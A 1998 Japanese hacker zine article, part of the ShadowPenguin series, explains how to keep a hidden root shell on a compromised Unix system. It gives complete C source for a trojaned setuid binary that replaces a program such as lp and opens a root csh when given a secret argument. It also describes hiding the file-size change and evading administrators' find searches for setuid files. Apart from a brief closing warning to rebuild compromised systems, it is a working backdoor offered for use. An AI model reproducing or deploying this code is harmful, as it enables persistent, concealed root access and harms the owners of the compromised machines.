================================
The ShadowPenguin Documents. No.5
- 見つかりにくいrootshell -
Written by うにゅん
Oct.18, 1998
================================
1. はじめに
侵入してrootを取った後、一般的な置きみあげの一つにrootshellがありますね。findすれ
ば見つけられると思っている管理者はアマいです。このようなrootshellだと見つけにく
いです。ここに紹介されているようなhrsを使用するとrootshellを長生きさせることができます。通常のrootshellだと、findで検索されてバレることがあります。代表的な探し方は、
%find / -perm 4755 -print
とかで、出てきたsuidプログラムを片っ端から実行していくわけです。そこで、バレにくいrootshell作ってみました。適当なsuidプログラムを入れ替えて、
特殊な引数を指定したときrootshellとして機能するようにしたものです。そういったモノが仕込まれてる可能性もあるので、「rootとられたかな〜」って思ったら、面倒だと思わずにシステム再構築をやりましょうね。とりあえず、実験してみましょう。
2. 用意しておくもの
sizer等 のプログラムのサイズをごまかすツール。sizerはここのHPに落ちてます。これがなくても、サイズはおかしくなりますが問題なく動作はします。それと、当たり前ですがrootになってないとダメですよ。
3. プログラム(hrs.c)
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#define ORIGINAL "/.desktop-user"
(*2)
#define MAGIC "hoge"
(*1)
main(argc,argv)
int argc; char *argv[];
{
int i;
char buffer[2000];
setuid(0); setgid(0);
if (argc==2 && strcmp(argv[1],"hoge")==0){
system("/usr/bin/csh");
}else{
sprintf(buffer,"chmod 4755 %s",ORIGINAL);
system(buffer); strcpy(buffer,ORIGINAL);
for (i=0;i<argc-1;i++){
strcat(buffer," "); strcat(buffer,argv[i+1]);
}
system(buffer);
}
sprintf(buffer,"chmod 644 %s",ORIGINAL); system(buffer);
}
4.仕込み方
5. 使い方
%lp hoge
とすると、Rootshellとして機能します。また、
%lp -dlp temp.txt
等とすると、普通のlpコマンドとして機能します。
こんなの仕込まれると、イヤですね〜。気をつけてください。